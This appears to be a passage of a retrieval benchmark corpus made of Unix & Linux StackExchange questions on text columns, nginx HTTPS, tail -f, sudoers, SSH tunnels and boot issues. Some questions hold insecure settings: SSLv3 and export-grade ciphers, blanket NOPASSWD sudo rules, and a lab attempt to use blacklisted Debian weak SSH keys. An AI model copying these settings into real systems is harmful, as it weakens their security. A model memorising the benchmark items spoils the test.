root wheel 11B Mar 27 12:09 etc -> private/etc dr-xr-xr-x 2 root wheel 1B Aug 12 21:41 home -rw-r--r--@ 1 root wheel 7.8M May 1 20:57 mach_kernel dr-xr-xr-x 2 root wheel 1B Aug 12 21:41 net drwxr-xr-x@ 6 root wheel 204B Mar 27 12:22 private drwxr-xr-x@ 68 root wheel 2.3K Jun 20 15:54 sbin lrwxr-xr-x@ 1 root wheel 11B Mar 27 12:09 tmp -> private/tmp drwxr-xr-x@ 13 root wheel 442B Mar 29 23:32 usr lrwxr-xr-x@ 1 root wheel 11B Mar 27 12:09 var -> private/var I realize there are a bazillion options for `ls` and I could probably do it _for this particular example_ that way, but this is a general problem and I'd like a general solution to getting specific columns easily and quickly. `cut` doesn't cut it because it doesn't take a regular expression, and I virtually never have the situation where there's a single space delimiting columns. This would be perfect if it would work: ls -hal / | cut -d'\\s' -f5,9 `awk` and `sed` are more general than I want, basically entire languages unto themselves. I have nothing against them, it's just that unless I've recently being doing a lot with them, it requires a pretty sizable mental shift to start thinking in their terms and write something that works. I'm usually in the middle of thinking about some other problem I'm trying to solve and suddenly having to solve a `sed`/`awk` problem throws off my focus. Is there a flexible shortcut to achieving what I want?"} {"_id": "123056", "title": "How can I copy a file from a usb drive to a directory on the hard drive in Centos 6?", "text": "I would like to copy some files from a usb to a ssd hard drive running CentOS 6.5 How do I do this?"} {"_id": "126660", "title": "Dual Booting with windows", "text": "I am trying to dual booting elementary OS with windows 7. Basically on my 160 GB HDD, i have following partitions: sda1 which is C drive having windows 7. sda5 which is D drive with data and an 10 GB unallocated space. Now my question is: Can I install Luna on that 10 GB space? Will both OS work if I allocated that 10GB partition for both OS and boot-loader? Last time I tried to install Luna with Windows, none of the OS loaded on next boot. I am a novice to this so your help will be appreciated."} {"_id": "126662", "title": "Nginx : images not served in HTTPS", "text": "I have on my website an `admin/` subdirectory, which I'd like to be in HTTPS, so I tried the following configuration, based on this one : server { listen 80; server_name blob.tld; root /srv/www/blob; index index.php index.html index.htm; location /blog/admin/* { return 301 https://$server_name$request_uri; } location / { try_files $uri $uri/ $uri/index.php /index.html; } location ~ \\.php$ { fastcgi_split_path_info ^(.+\\.php)(/.+)$; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; } } server { listen 443 ssl; server_name blob.tld; root /srv/www/blob/; index index.php index.html index.htm; ssl_certificate /srv/www/blob.tld.pem; ssl_certificate_key /srv/www/blob.tld.key; ssl_session_timeout 5m; ssl_protocols SSLv3 TLSv1; ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+EXP; ssl_prefer_server_ciphers on; location /blog/admin { fastcgi_split_path_info ^(.+\\.php)(/.+)$; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; try_files $uri $uri/index.php /index.html; } location / { return 301 http://$server_name$request_uri; } } But then images in `admin/style/` are not served. I looked at the log files, that say : /var/log/nginx/access.log: 127.0.0.1 - - [25/Apr/2014:15:06:27 +0200] \"GET /blog/admin/style/lock.png HTTP/1.1\" 403 46 \"-\" \"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit (KHTML, like Gecko) Chrome/32.0\" /var/log/nginx/error.log: 2014/04/25 15:06:27 [error] 23629#0: *404 FastCGI sent in stderr: \"Access to the script '/srv/www/blob/blog/admin/style/lock.png' has been denied (see security.limit_extensions)\" while reading response header from upstream, client: 127.0.0.1, server: blob.tld, request: \"GET /blog/admin/style/lock.png HTTP/1.1\", upstream: \"fastcgi://127.0.0.1:9000\" Given the error.log file, I think the problem comes from the first location instruction in the HTTPS server (the difference with the HTTP one being `~ \\\\.php$`). **So I tried to make the exact symetric** (with `\\\\.php$` instructions in another `location` instruction) : server { listen 443 ssl; [...] location /blog/admin/* { try_files $uri $uri/ $uri/index.php /index.html; } location / { return 301 http://$server_name$request_uri; } location ~ \\.php$ { fastcgi_split_path_info ^(.+\\.php)(/.+)$; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; } } But then\u2026 no HTTPS at all. I still have the solution of letting images be served in HTTP, but that is kinda frustrating : location /blog/admin/style { return 301 http://$server_name$request_uri; } I have nginx 1.1.19 and php 5.3.10 with php-fpm."} {"_id": "89495", "title": "If I hardlink to a directory, will the contents be \"preserved\" as if I hard-linked to every file?", "text": "I've seen people on the internet talk about using hardlinks to force files to stay on disk as a backup, even if they're deleted in their original location. Would this work for a directory too? Why or why not? Assume that I'm using an ext4 filesystem, if it matters, but I'd also be interested in answers for other (UNIX/inode-based) filesystems, especially btrfs."} {"_id": "58073", "title": "Upgrade Redhat using Command Line", "text": "I have 5.5 installed on some servers. Now I need to upgrade it to 5.6. I did it by using RedHat 5.6 DVD media using GUI. But my question is: can this be done without restarting the server and booting from DVD while I'm logged in and the 5.5 session is running? Can this be done on the command line, using the media which I inserted into the DVD drive? # Action taken based on Matteo Instructions 1. Mounted Redhat media on */media/RHEL_5.6 i386 DVD/Server* 2. created file in /etc/yum.repos/dvd.repo 3. Then run this command **rpm -ivh createrepo-0.4.blahblahblah.el5.noarch.rpm** 4. Then I tried to run this command **createrepo /media/RHEL_5.6 i386 DVD/Server** And terminal slapped back with this error > Error: Only One Directory allowed per run Normally i copy the RPMs from /media/RHEL_5.6 i386 DVD/Server to /RPMS directory then i run this command createrepo /RPMS and it work. So tell me what to do now. # Action Two inserted the lines in dvd.repo [dvd.repo] name=Red Hat Entp Linux $releasever -$basearch - dvd baseurl=file:///media/RHEL_5.6 i386 DVD/Server/ enabled=1 gpgcheck=0 and when I used the command > Yum clean all it gave me error Options Error: Error Parsing 'file:///media/RHEL_5.6 i386 DVD/Server/ URL must be http, ftp, file or https not \"\""} {"_id": "126667", "title": "tail -f, Determine if a file is no longer being written to", "text": "I am using `tail -f` to follow the growth of a log file. I am having trouble finding a way to detect if the process that is writing to the log file (when it crashes or is otherwise terminated) is no longer accessing or writing to the file. Here is the script I am using tail -f log_file | while read LOGLINE do echo -e \"${LOGLINE}\" if [[ \"${LOGLINE}\" == *ERROR* ]] ; then echo -e \"ERROR FOUND : ${LOGLINE}\\n\" # handle the error here fi done What is the easiest and most efficient way to detect that the process writing to the log file has stopped (or that tail -f is no longer recieving input) and echo a message to screen alerting me of the event?"} {"_id": "89499", "title": "How do I know which kernel configuration option enabled my driver?", "text": "TL;DR: when I was trying to compile a driver for USB DAQ device I have reconfigured the kernel. The driver refused to compile under the default distro's kernel but everything works with my tweaked kernel. The driver consists of 2 kernel modules. I know which options I changed but I want to know which particular configuration option enabled my driver. Is there any way how to figure it out without trying (configuring and compiling kernel) every possible combination of the options? Longer story: I have an Advantech USB-4702 DAQ device which comes with a driver for various distros, e.g. openSUSE 11.4. It has to be compiled from source and it compiles well on supported distributions (I tried openSUSE 11.4 32bit with kernel 2.6.37.6-24-desktop). When I was trying to get it work under SLES 11 SP 3 (64bit, kernel 3.0.76-0.11-default) I got compile errors. One of them was caused by this snippet in the source: #ifndef CONFIG_USB # error \"This driver needs to have USB support.\" #endif So I took a look at the configuration options of the running kernel (from /proc/config.gz) and found CONFIG_USB to be enabled (I guess I would not be able to use my USB keyboard and mouse if it was disabled). Then I started to play with the kernel configuration and enabled (some as modules) some of them. I compiled the kernel, installed it, rebooted. Then the driver compiled without any errors or warnings and I am able to use the device now. The question is, **how can I find out which particular option \"enabled\" compilation of the driver?** I know which options were changed, but I don't want to enable anything that is not necessary for the driver. And I don't want to go through configuring and compiling the kernel with every possible combination of the options."} {"_id": "126668", "title": "Multiline variable with spaces, adding each line to an array", "text": "I have a problem I can't seem to figure out.. I'm making a script I will run in OSX to help me stay connected to open wifi hotspots. I am reading all surrounding wifi networks into a muntiline variable. These wifi networks have sometimes spaces in their names, which presents a problem for me. I want to loop through this multiline variable that contains spaces and add each line as it is to a new array cell. Adding my code below. Anyone that can help me sort this out? #Looks for available networks netarray=(`airport -s | awk '$NF==\"NONE\"{print}' | cut -c 1-32,51-54 | sort -r -n -k 1.34,1.36 | awk '{$NF=\"\"; print}' | sed -e 's/ $//' `) #Test text added here echo \"netarray below\" echo \"$netarray\" echo \"cell 0 below\" echo ${netarray[0]} echo \"cell 1 below\" echo ${netarray[1]} echo \"\" #Until here This gives me this output (See that TPE Free is cut): netarray below TPE Free HP-Print-93-LaserJet 1102 cell 0 below TPE cell 1 below Free airport -s gives me this output currently: SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group) fuck this 00:1f:1f:27:e4:ac -79 11 N -- WEP BigA2 34:08:04:c3:9a:14 -85 11 N US WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP) TPE Free 78:cd:8e:a6:ff:30 -90 10 N T9 NONE CHT3826 b0:b2:dc:c3:91:77 -82 11 Y -- WPA2(PSK/AES/AES) KK 00:e0:4c:ac:e1:05 -84 11 N -- WEP perfectidea f8:1a:67:53:eb:da -79 9,-1 Y -- WPA2(PSK/AES/AES) tfb_18_28 b0:c7:45:ac:18:98 -87 7,+1 Y -- WPA2(PSK/AES,TKIP/TKIP) HP-Print-93-LaserJet 1102 08:3e:8e:7c:04:93 -86 6 N -- NONE SG-OFFICE 74:d0:2b:dc:67:64 -80 6 Y -- WPA2(PSK/AES/AES) holo15 b8:55:10:bd:3e:70 -82 5,-1 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES) TOTOLINK N300RA 78:44:76:dd:bb:b4 -82 5,+1 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES) ezstay 15F-28 78:44:76:dc:f1:a0 -85 2,+1 Y KR WPA(PSK/AES/AES) WPA2(PSK/AES/AES) 12F-32 20:10:7a:9f:d9:c1 -59 1 Y -- WPA(PSK/AES,TKIP/TKIP) The awk on airport command just cuts out the names of the Open networks and puts them on separate rows."} {"_id": "88721", "title": "Match multiple regular expressions from a single file using awk", "text": "I'm trying to parse a HTML file using shell scripting. There are 4 different regular expressions that i need to catch: `name=` , `age=` , `classs=` , `marks=`. Using grep \"name=\\|age=\\|class=\\|marks=\" student.txt I'm able to get the required lines, but along with these matching lines I also need to print the second line from each match which contains the score. Referring to the question: Print Matching line and nth line from the matched line. I modified the code to: awk '/name=\\|age=\\|class=\\|marks=/{nr[NR]; nr[NR+2]}; NR in nr' student.txt But this does not seem to work. How do I search for multiple regular expressions in the same `awk` command?"} {"_id": "88725", "title": "How to terminate tmux session and processes it spawned", "text": "I noticed that i have a running process and I think it's because i initialized the process in byobu which is using tmux. ps aux | grep sidekiq 1000 13786 0.0 0.0 8108 900 pts/4 S+ 11:27 0:00 grep sidekiq I have a tmux session called \"3\". As you can see below: $ byobu Byobu sessions... 1. tmux: 3: 1 windows (created Wed Aug 28 10:57:54 2013) [229x84] (attached) 2. tmux: daemon: 1 windows (created Thu Jul 11 12:59:09 2013) [127x83] 3. tmux: juggernaut: 1 windows (created Thu Jul 11 12:54:08 2013) [80x23] I would like to exit that session and end all running processes that were created by that session."} {"_id": "65068", "title": "Why SSH takes a long time to Connect", "text": "I have noticed that some Linux Servers in Network takes long time to connect using ssh. Situations:: There are two situations I have faced. 1: On some servers some times it takes a long time to **_ask for password_** 2: but on other servers When I insert the password **_it doesn't respond_** . And after some time say 20 0r 30 seconds it just say **Connection Closed** # Detail for 1 case debug1: Authentications that can continue: publickey,gssapi-with-mic,password debug1: Next authentication method: gssapi-with-mic debug1: Unspecified GSS failure. Minor code may provide more information Cannot determine realm for numeric host address debug1: Unspecified GSS failure. Minor code may provide more information Cannot determine realm for numeric host address debug1: Unspecified GSS failure. Minor code may provide more information debug1: Unspecified GSS failure. Minor code may provide more information Cannot determine realm for numeric host address debug2: we did not send a packet, disable method debug1: Next authentication method: publickey debug1: Trying private key: /home/umairmustafa/.ssh/id_rsa debug1: Trying private key: /home/umairmustafa/.ssh/id_dsa debug1: Trying private key: /home/umairmustafa/.ssh/id_ecdsa debug2: we did not send a packet, disable method debug1: Next authentication method: password"} {"_id": "138043", "title": "How do you remember the syntax for 2>&1 redirection", "text": "Do you have a mnemonic or system? This has bothered me for years I always have to look it up"} {"_id": "65066", "title": "Slow ecryptfs mount", "text": "If I create an encrypted share (internally done via `ecryptfs`) on a synology disk station DS109 (DSM 4.1), mounting is very slow (approx 40 seconds). It doesn't matter if I do it via the web-interface or via `synoshare --enc_mount myencryptedshare mypassphrase`. It also doesn't matter if there is data in the share or not, same 40 seconds for an empty share and for one with 1GB in it. Mounting with `encfs` works perfectly, so I guess it might not be an CPU issue, since `encfs` seems to be a bit slower in general than `ecryptfs`. Any idea what may be wrong? How can I debug this?"} {"_id": "127537", "title": "Find command for lookup up a directory tree", "text": "Is there any equivalent command, or options for, GNU `find` that will search up the directory tree? I'd like to look backwards through the tree for files with a given name. For example, say I'm in /usr/local/share/bin and I want to search look for a file called `foo`. Ideally I'd like the command to look for the file in the following order: 1. /usr/local/share/bin/foo 2. /usr/local/share/foo 3. /usr/local/foo 4. /usr/foo 5. /foo I know that I can write something like this as a shell function, but I was hoping there would be a command as rich as gnu `find` that I could leverage."} {"_id": "65064", "title": "How to find and replace a particular string in a specific line", "text": "I developed a code which find and replaces a specific string in all xmls under all subdirectories. But i dont want all occurances to be replaced. In entire xml, code should find the tag xyz and replace xyz within this tag with abc. Other \"xyz\" in the xml should remain as it is. Can you please help me with this. Thanks..."} {"_id": "127533", "title": "Dual boot win/kali - virtualize the linux partition", "text": "I have one HDD. 2 partitions with Kali and Windows 8. GRUB is installed. Both OS work fine. I want to remove my Kali partition, and get it as a VM in my Windows 8 partition (I'm using VMware workstation). Is there a way to virtualize this Kali partition ? without damaging my windows 8 one ? Windows does not see the linux partition at all (at least with the Disk Manager, maybe another software is able to see it as GParted or EasyPart). Another solution is to erase my Kali partition and re-extend my windows 8 one, but I'm afraid the windows 8 partition would not boot after it. And it's less fun doing this way. But the Kali partition does not have important stuff that I want to keep/save. So if it's the only way to do it, I can format the kali partition. Hope I'm understable enough and at the right place to ask this kind of question. Many thanks."} {"_id": "127531", "title": "I no longer see the output of rc scripts", "text": "**My current problem** After cloning the root filesystem of my debian system to an SSD (`cp -ax`) **I no longer see the output of my rc scripts** during boot from the SSD. I do see them during shutdown or when I run rc-scripts manually. I also see them when I boot into runlevel 1, login as root an then exit. Kernel is 3.8.2 compiled by myself. When the system boots, I see the kernel messages (which look like what `dmesg` would show), then there are no more messages for a while until I finally see a login prompt or a display-manger login. Some of the kernel messages really originate from rc scripts but I only see the kernel messages and not the output of the rc scripts like `[ ok ] starting foo` themselves. Other than that the system runs okay. I tried to boot a stock debian kernel (3.2.0-4-486) which lives on another partition (/dev/sda3) and pass it _my_ root (/dev/sda1), so it takes my rc- scripts. In this case I see the messages. On the internet I found a few reports about the exact same problem. But there was either no solution posted or the solution was \"reinstall\". A possibly related issue is that I cannot boot into single-user mode anymore (runlevel 1 works). It boots straight into initdefault (=3). I _suspect_ that the console is missing, sulogin fails and the boot process continues as if I had exited from sulogin. I also cannot boot into a shell (`sash`). I see a welcome message from sash, but it won't talk to me (no prompt). my current theories meander around * Did cp -ax miss anything (e.g. /dev)? * Does the faster disc cause a timing problem? * Or is it something utterly trivial and I just cannot see it? **Edit May 4th** I finally realized that /dev/console needs to be present right from the start. So I created one, using `mknod` and now I see messages from the rc scripts again. While /dev/console _gets_ created early on by `udev`, that doesn't seem to fix things during boot. So my original problem is solved. Still I'd like to know * why booting another kernel fixes the problem. /dev/console is present on /dev/sda3 (the location of the other kernel) before udev runs. This observation made me create /dev/console in the first place. But I don't understand why the kernel would take _this_ /dev even though I passed it another root. * where /dev comes from during boot * why /dev/console created by udev isn't good enough * what other /dev nodes are needed * why booting into init=/bin/sash still doesn't work"} {"_id": "108514", "title": "Reload /etc/default/locale without reboot?", "text": "After making changes to `/etc/default/locale`, is it possible to reload/active the new settings without a reboot?"} {"_id": "76078", "title": "date format in /etc/hosts.allow", "text": "I have following line in my /etc/hosts.allow sshd: 1.2.3.4 : spawn (echo `date` ALLOWED from %a >> /var/log/%d.log) & The problem is, the date command prints time in the standard format, such as Thu May 16 15:54:55 CEST 2013 which is complicated to process with my script. I would like to have `date` to specify my own format, such as `date \"+%F %T\"`, to get following format: 2013-05-16 16:01:07 even if I escape the special characters (%), the following does not work: sshd: 1.2.3.4 : spawn (echo `date \"+\\%F \\%T` ALLOWED from %a >> /var/log/%d.log) Could somebody please advise ?"} {"_id": "120629", "title": "How does this command make a user a sudoer?", "text": "According to this DevStack guide, the following commands will give sudo privileges to the `stack` user: apt-get install sudo -y || yum install -y sudo echo \"stack ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers How does that work? What does each part of those commands do?"} {"_id": "120628", "title": "How can I allow a group to execute a command as another user?", "text": "I'm conservative about my `sudoers` policy. I'm trying to allow `wheel` users to run `psql postgres postgres` as the `postgres` user (because when ident that's the only way it works). root ALL=(ALL) ALL %wheel ALL=/usr/bin/psql here's the error Sorry, user xenoterracide is not allowed to execute '/usr/bin/psql postgres postgres' as postgres on slave-vi. The command I'm running is sudo -u postgres psql postgres postgres The policy works for executing things as `root`, but I just need this specific command to run as `postgres`."} {"_id": "120623", "title": "What is the effect of setting the timeout value to 0 in /etc/resolv.conf?", "text": "In order to fix a problem with DNS resolution in a particular customer environment, their admin has suggested adding `options timeout:0` to the `/etc/resolv.conf` file on their CentOS 5 server. The man page on the OS for `resolv.conf` has this to say about the timeout setting: > timeout:n > > sets the amount of time the resolver will wait for a response from a remote > name server before retrying the query via a different name server. Measured > in seconds, the default is RES_TIMEOUT (currently 5, see ). And I see from here that there is a silent cap of 30 seconds, but I haven't found any documentation anywhere that tells me what the effect of setting this value to 0 will be. Does anybody know?"} {"_id": "120622", "title": "Unable to boot New solaris ramdisk image in SAM - Bad Magic number error", "text": "I am trying to create a new ramdisk for SAM with 1GB space from the provided \"disk.s10hw2\". Below are the following steps (following the thread in OTN: Booting problem with custom built solaris10 disk image on legion & sam.) 1. We have the disk.s10hw2 initial SAM image. We mounted that and created a backup using ufsdump : > ufsdump 0cvf /dev/rmt/0 /mntdir 1. Created an empty file of 1GB size: > dd if=/dev/zero of=new.img bs =1024 count=1000000 1. Used the new.img as a block device. > lofiadm -a new.img /dev/lofi/1 1. Created a UFS on top of the new.img file > newfs /dev/lofi/1 1. Restored the initial filesystem using ufsrestore > ufsrestore rvf /dev/rmt/0 1. Made the ram disk image bootable > /usr/sbin/installboot /mntdir/usr/platform/sun4v/lib/fs/ufs/bootblk > /dev/rlofi/1 1. Unmounted the image 2. Modified 1up.conf file in legion to the following: > device \"memory\" 0x1f80000000 +1024M { // Increase the memory size for the > new disk > > > virtual_disk; > > load s0 shared \"disk1.big\"; // replace the disk with the new one you > created and use shared instead of rom > > } > 1. Changed the name of the disk in the SAM configuration 2. Created a soft link of the SAM S10image folder to the new.image ramdisk image location 3. Booted legion to create a new disk label for this new disk 4. Legion booted successfully with the new image with the \"boot disk -vV\" command. Once loaded, \"sync\" and then \"halt\" the system to write into the disk and prompt to the ok. At this point, terminated Legion using Ctrl-C. 5. Then loaded SAM with the new RAMDISK (changed the sam-1p.rc file to point to the new ramdisk). SAM gives out the following error: > ok boot disk \u2013vV > > > Boot device: /virtual-devices/disk@0 File and args: -vV > > Bad magic number in disk label > > Can\u2019t open disk label package > > Can\u2019t open boot device > > > > ok > Not sure what I am doing wrong to boot the new disk properly to SAM. I am using SAM-T1 downloaded from the opensparc.net website. ALso, I am using a SPARC based machine with Solaris 10 installed on it."} {"_id": "13986", "title": "X problems on Fedora 15", "text": "I just upgraded from F13 to F15 using the Installation DVD and it looked all went fine. When I first booted into F15, gdm was having troubles starting up. I tried removing Xorg and reinstalled and issued `Xorg -configure`. It came up with `Screens found, but none have usable configuration. FATAL ERROR: No screens found` **Attachments:** `Xorg.0.log` - Error log `/root/xorg.conf.new` - file created when doing `Xorg -configure`. `/etc/X11/xorg.conf` - My old `xorg.conf` file I was using for my Intel card. Originally got from the Nvidia Proprietary installer. I'm curious about these lines [ 117.519] (II) Loading /usr/lib/xorg/modules/drivers/vesa_drv.so [ 117.519] Refusing to touch device with a bound kernel driver [ 117.519] (WW) Falling back to old probe method for vesa I just want to know if this can be corrected, before I go do a fresh install. I never thought an upgrade would be such a pain in the bottom. **EDIT:** I just found these line in my `dmesg` [ 5.144255] systemd[1]: /usr appears to be on a different file system than /. This is not supported anymore. Some things will probably break (sometimes even silently) in mysterious ways. Consult http://freedesktop.org/wiki/Software/systemd/separate-usr-is-broken for more information. and the above link mentions there are 23 obvious cases during an F15 install. Could this be a reason for my X Problems? If so, how do I merge my `/usr` back to `/`? The complete dump of `dmesg`, just in case it happens to give you enough clues."} {"_id": "120627", "title": "Fixing permissions on a buffalo NAS (XFS via SMB)", "text": "I have a `Buffalo dual harddrive NAS` and plugged one of the drives directly to an `SATA` port to speed up the file transfer (100 MBit is a 'bit' slow when transfering 2 TB of files). I used a live Ubuntu DVD to mount the volume. My problem now is, I can't delete or rename any of the files I copied directly via Linux to that drive. Windows 7 demands that I'm admin of this computer. I can't even see the permissions since I do not have permission to do so. Is there an easy way to fix this, preferably without hooking it back to the `SATA` port?"} {"_id": "154845", "title": "Reverse global and local marks in vi/vim", "text": "How can I reverse the capitalization convention of marks in vi/vim? Normally a lower-case mark like \"a\" means is local to the current file, but upper case marks like \"A\" are global to the session. Since I normally use only global marks I want the lower case to be the global marks. In other words I want to reverse the default convention."} {"_id": "13982", "title": "Can I make alt-tab window always appear on the primary screen in Gnome?", "text": "Right now it appears on whatever screen the app I'm switching from is located. If I while alt-tabbing I accidentally stop on my radio player, located on my alt screen, it's most annoying."} {"_id": "109908", "title": "Public key f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 blacklisted (see ssh-vulnkey(1)); refusing to send it", "text": "I'm reproducing the Debian PRNG vulnerability from 2008 in a lab environment. Now I'm trying to SSH into the machine, but every time I try to send the private key I get: Public key f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 blacklisted (see ssh-vulnkey(1)); refusing to send it Is there a flag I can give SSH to ignore the fact that this key has been blacklisted?"} {"_id": "75051", "title": "Commands for determining level of usage of server", "text": "I am scripting a new program that will connect to a cluster of machines in a VM park, and hopefully check their level of usage. The VM clients are a combination of RHEL and CentOS, and runs on multiple KVM hosts. I am hoping to be able to find the VMs that are no longer needed, by checking what they are being used for now. What would be good indicators for system usage, and which commands could help me with rating the system accordingly? I am thinking that if I combine commands like uptime, \"chkconfig --list\", last and ps I can determine the rate of usage, but at a very innacturate level. Hope you could help me with this conundrum. With system usage I am thinking of if the machine is in use, or if it could be shut down, without it harming any applications or users. With the examples, I can determine if there are servers that are a lot different than the rest, but I would not be able to state if it is in use or not."} {"_id": "77661", "title": "Preventing duplicate entried in PATH (.cshrc)", "text": "I have little experience with Linux, so I will appreciate some help. I need to prepend directories to the path variable in my `.cshrc` file and I want to make sure that the entries are not repeated when compared to existing directories in the path variable. Can someone please advise suitable commands for that? The path on my machine is `:` separated, not space separated."} {"_id": "8656", "title": "/usr/bin vs /usr/local/bin on Linux", "text": "Why are there so many places to put a binary in Linux? There are atleast these five: 1. `/bin/` 2. `/sbin/` 3. `/usr/bin/` 4. `/usr/local/bin/` 5. `/usr/local/sbin/` And on my office box, I do not have write permissions to some of these. What type of binary goes into which of these bins?"} {"_id": "137899", "title": "Why there are multiple folders for executable files in Linux?", "text": "I'm trying to understand Linux file system, and one of the question is: 1- Why there are multiple folders for executable files: `/usr/bin`, `/usr/sbin/` and `/usr/local/bin`? Is there any differences between them ? 2- If I have an executable file and I want to add it to my system, which of the third latter locations is the best for me ?"} {"_id": "155462", "title": "Phonon VLC backend settings", "text": "I am testing video hardware acceleration and I would like to know, where are settings of VLC-backend for phonon. Are changes made in VLC itself actual changes that are applied to the backend itself (which in turn should be system wide, not just for vlc)?"} {"_id": "155464", "title": "Cannot ping from Solaris 11.2 to OS X 10.9.4", "text": "Been struggling with this for too long now. Google results do not help. Scenario is ping works in one direction, from OS X to Solaris 11 on a wired LAN, but not the other way. Ie: Solaris cannot ping the OS X m/c ? Connectivity is through a basic setup on a comcast cable modem. No VLAN's, DHCP IP's (reserved) and on the same 255.x.x.x. subnet. Netstat, ipadm and if_config are not giving me any clues. Some ideas on this would be appreciated. Thanks. Important - Solaris can connect to the WAN."} {"_id": "81561", "title": "using 64bit library for 32 bit application", "text": "We have 32 bit application on 64 bit rhel 6.4 . If I do ldd on the binary, it shows it is using 32 bit version of glibc. Is it possible to make it to point to 64 bit version of glibc? If yes, how can I do that? I have compiled the binaries using the -m32 flag."} {"_id": "81560", "title": "Passing execution from initrd to real init and issues with missing devices under /dev/mapper", "text": "For Gentoo, I am able to (finally) boot my encrypted system with an initrd and LILO. I used the guide at http://whitehathouston.com/documentation/gentoo/initramfs_howto.htm However it appears that /dev/mapper/cryptvg-root is missing after the system has finished booting. Why would that be? Doing ls -al /dev/mapper shows only the file \"control\". Yet mount says that /dev/mapper/cryptvg-root is mounted at /. I thought perhaps I needed to add something to remap the /dev file system in the initrd to the real root file system before control is passed over. So I added this: mount -o move /dev /mnt/root/dev Before I do exec switch_root. However I still have no /dev/mapper/cryptvg-root when it has finished booting. What do I need to do so that control is passed properly prior to and during exec switch_root? If it should matter: /dev/sda1 = /boot (not encrypted) /dev/sda2 = / (encrypted)"} {"_id": "24739", "title": "How to execute consecutive command from history?", "text": "Suppose I want to execute a sequence of four commands that I have executed before. If the first one is 432 in the command-history, then I could do: $ !432; !433; !434; !435 I'm curious, is there a more efficient way to accomplish this?"} {"_id": "33389", "title": "Bash: repeat last N commands", "text": "In bash you can repeat the last command by entering `!!`, or the third last command `!-3` for example. Is there a quick way to repeat the last 3 commands, without having to type out `!-1; !-2; !-3` explicitly?"} {"_id": "81565", "title": "lrzsz doesn't working in my Mac OS X", "text": "When I was used secureCRT in Windows, I often used `sz` and `rz` to transfer files between my linux server and client machine. But I can't use that way in iterm2 in MacOS X. `lrzsz` package has installed in my linux server(ubuntu 13.04) But, > benjamin@my-ubuntu-13-04:~$ rz > \ufffdz waiting to receive.**B0100000023be50 The terminal client got a hang. What's the problem?"} {"_id": "75054", "title": "ldd tells me my app is \"not a dynamic executable\"", "text": "I have a 32-bit application (called uclsyn) I received from an astronomy professor. I managed to get it running on CentOS a year ago, but now when I am setting up a new CentOS VM, it won't run and I can't work out why. It keeps coming back with \"Killed\". This is the exchange on the command line: $ ./uclsyn_linux Killed $ ldd ./uclsyn_linux not a dynamic executable $ file ./uclsyn_linux uclsyn_linux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.9, not stripped On the machine which is does run on, \"ldd ./uclsyn_linux\" returns a whole list of dependencies. I've found the packages which provide these shared libraries, and they all appear to be installed. **Packages required** * libSM-1.1.0-7.1.el6.i686 * libX11-1.3-2.el6.i686 * libgcc-4.4.6-3.el6.i386 * glibc-2.12-1.47.el6_2.9.i686 * libuuid-2.17.2-12.4.el6.i686 * libXau-1.0.5-1.el6.i686 * There are also a heap of libraries local to the application which I have checked and are already installed. **My environment** CentOS running under VirtualBox `uname -a`: Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 12:50:49 UTC 2013 i686 i686 i386 GNU/Linux"} {"_id": "81566", "title": "Run commands at random", "text": "I want to run one of the two commands `C1` and `C2` at random. How do I do that on commandline (bash)? Will appreciate if a one-liner is possible."} {"_id": "154598", "title": "VNC & SSH : local (win-putty) -> hop (linux) -> remote (linux)", "text": "I'm gettin a headache trying to access a remote VLC & SSH. This is the situation : `Local` : Win box behind NAT, dynamic IP. I want to connect from here. `Hop` : Linux box, static IP server `Remote` : Linux box behind NAT, dynamic IP. I want to connect here As the `remote` has dynamic IP and is behind NAT, I make ssh reverse tunnels to the `hop` : ssh -R 55900:localhost:5900 -R 50022:localhost:22 user@hop This step seems to work. From the `hop`, I can ssh the `remote` connecting to localhost port 50022 : ssh -p 50022 user@localhost Then from the local, I make ssh tunnels to the hop, with putty : ![Making tunnels](http://i.stack.imgur.com/tWB7W.jpg) Once the second tunnel is made on `local`, when I try to reach the `remote` SSH or VNC, the connection is straight closed. For SSH (via another instance of putty), I get the error \"Server unexpectedty closed the connection\" For VNC (TightVNC Viewer) : \"Connection has been gracefully closed\" I tried to change some putty options after looking for solutions on the web, as \"enable X11 forwarding\", or \"Allow agent forwarding\", but without success. Any idea of how to solve this? Thanks"} {"_id": "84697", "title": "Can we create lvm volume group with mapped device?", "text": "I can create a lvm volume group with a loop device. But if I use dmsetup to map the loop device into several devices, then I can't create a lvm group with /dev/dm- _. Why is it not possible to create group with dm-_?"} {"_id": "13678", "title": "sudo does not allow me to run cp", "text": "Executing the following command on a CentOS 5 box: $ sudo cp file1 file2 gives me the following error: > Sorry user my_username is not allowed to execute '/bin/cp file1 file2' as > root on site_name.com How can root access not be enough?"} {"_id": "89236", "title": "Vim: searching upward/downward in file from specific point/position", "text": "I want to search a word from my current cursor position in vim to upward in file. How to achieve this? Also how to do same for downward in file."} {"_id": "89231", "title": "Allow www-data to perform specific commands", "text": "I need a PHP script to perform `git pull` however I am not naive enough to give it permissions on `git`. I've wrapped `git pull` in a script which `www- data` has permissions for, but I'm not sure how to give the script permissions on `git` itself: $ sudo tail -n1 /etc/sudoers www-data ALL=(ALL) NOPASSWD: /home/php-scripts/git-pull $ cat /home/php-scripts/git-pull #!/bin/bash /usr/bin/git pull $ ls -la /home | grep php-scripts drwxr-xr-x 2 ubuntu ubuntu 4096 Sep 3 09:26 php-scripts $ ls -la /home/php-scripts/git-pull -rwxrwxr-x 1 ubuntu ubuntu 30 Sep 3 08:44 /home/php-scripts/git-pull $ cat /var/www/public_html/git-wrapper.php \"; echo \"Return Value: {$value}\\n\"; foreach 